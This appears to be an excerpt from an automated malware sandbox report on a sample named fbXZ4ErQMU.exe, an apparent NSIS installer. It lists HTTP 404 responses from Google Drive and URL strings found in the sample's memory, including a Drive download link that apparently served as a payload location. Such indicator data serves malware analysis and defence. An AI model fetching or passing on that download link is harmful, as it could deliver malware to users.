Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:07:41 GMTContent-Security-Policy: script-src 'nonce-NQ1mB4Pom_oMhq1r8loscg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC5tu7iLH0MIabquVAm1oiHiYiUAw8jjJJWA8iLP5LesiPMDsfzydBghOKaqIxrCDRDkGv0Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:07:53 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-oyygR_8YGS3eMcbclErYPA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC6BQ1MhfXNBXfjOMJ5-AmjyT-KdBA-yMqsHQvIZLloZoeP6acx7CBlLRs_GCannUzI-3RqF1DL_egServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:08:04 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-MAt3ZcCFW0m5SGrwzXM6ag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AFiumC7DRkY3tc8BWnqaPrzNJivplHHwe1Nq0lMHjG0FEHZZKH-BxrcQ8iP61oYnW1ELiPh-U35AZCH5NAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:08:15 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-9vvGfA2HO0cqhM8DgDGgxA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC662w_ozE6mpmBiQ0HZWLBYeBDxKsze3quUGohjbo3MMdfr9FMxgm_gxcn_H5H4_jqkgHPadg2x0gServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:08:26 GMTContent-Security-Policy: script-src 'nonce-7-03QxQb97E_Ufe9rc4Bng' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC7dex4EYLaJpvfC7NMmr4MRAC3ru8U9uzOw3tNgwArQL5hqjc2gZbPwvPZhZ2QtrNM2zV4dQc2bkAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:08:37 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-uCoUTF2a_GYBEUlDdKGlcw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC7MbuDB0N3d-oWBCrkLsSpynXVdBlel4wPreBjqfrWKwsL2H50bEuga4RPOGT7GnNDJ1E4CqSmu4QServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:08:48 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-SvCIib4xIIGOMaB8VGxvpQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652X-GUploader-UploadID: AFiumC53MR9wRBGHqPY0M1JN37EVuAwQFnIpEbFHzrUSqaPnpC6-dvrvXQ0Rdwx3NVSWIfmx40MServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:09:00 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-YHu4JF1huwsJQVHxQCU7gQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652X-GUploader-UploadID: AFiumC4kktxTQnTKX-5zL0iksR_VI3daODD0HP2upn29js632xsopr-GLznrMLkEjE6vvYKUAsuHUbw9JQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:09:11 GMTContent-Security-Policy: script-src 'nonce-Z6Q_FmnFJaZSLffzj_ChMg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AFiumC6lK0iXxMxjMi6r9ogofdF2Zt-a6T6m6XJsjDQxQ_ve_aSxvSIsOqCEKQILNpwTMKXTMk8Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: fbXZ4ErQMU.exe, 00000003.00000003.52719057837.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52951879609.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52726802352.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006EB8000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52832764653.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057962046.0000000006EB9000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: fbXZ4ErQMU.exe, 00000003.00000003.52719057837.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52951879609.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52726802352.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006EB8000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52832764653.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057962046.0000000006EB9000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: fbXZ4ErQMU.exe, 00000003.00000001.52635170494.0000000000649000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.
Source: fbXZ4ErQMU.exe, fbXZ4ErQMU.exe, 00000000.00000000.51418151882.000000000040A000.00000008.00000001.01000000.00000003.sdmp, fbXZ4ErQMU.exe, 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmp, fbXZ4ErQMU.exe, 00000003.00000000.52634286184.000000000040A000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: fbXZ4ErQMU.exe, 00000000.00000000.51418151882.000000000040A000.00000008.00000001.01000000.00000003.sdmp, fbXZ4ErQMU.exe, 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmp, fbXZ4ErQMU.exe, 00000003.00000000.52634286184.000000000040A000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: fbXZ4ErQMU.exe, 00000003.00000001.52635170494.0000000000649000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.gopher.ftp://ftp.
Source: fbXZ4ErQMU.exe, 00000003.00000003.52719057837.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52951879609.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52726802352.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006EB8000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52832764653.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057962046.0000000006EB9000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: fbXZ4ErQMU.exe, 00000003.00000003.53618132021.0000000006EA5000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511591295.0000000006E7A000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511638576.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058091433.0000000006E90000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53400172887.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53170207947.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53730137731.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52719057837.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dhttps://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=d
Source: fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52726610810.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057812723.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52833039147.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com
Source: fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53506009888.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52833039147.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53176252546.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53400172887.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53170207947.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53730137731.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057812723.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/0
Source: fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006EB8000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/8
Source: fbXZ4ErQMU.exe, 00000003.00000003.53057812723.0000000006F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/;
Source: fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057812723.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52833039147.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/f
Source: fbXZ4ErQMU.exe, 00000003.00000003.52951879609.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006EB8000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52832764653.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057962046.0000000006EB9000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download
Source: fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=downloadC
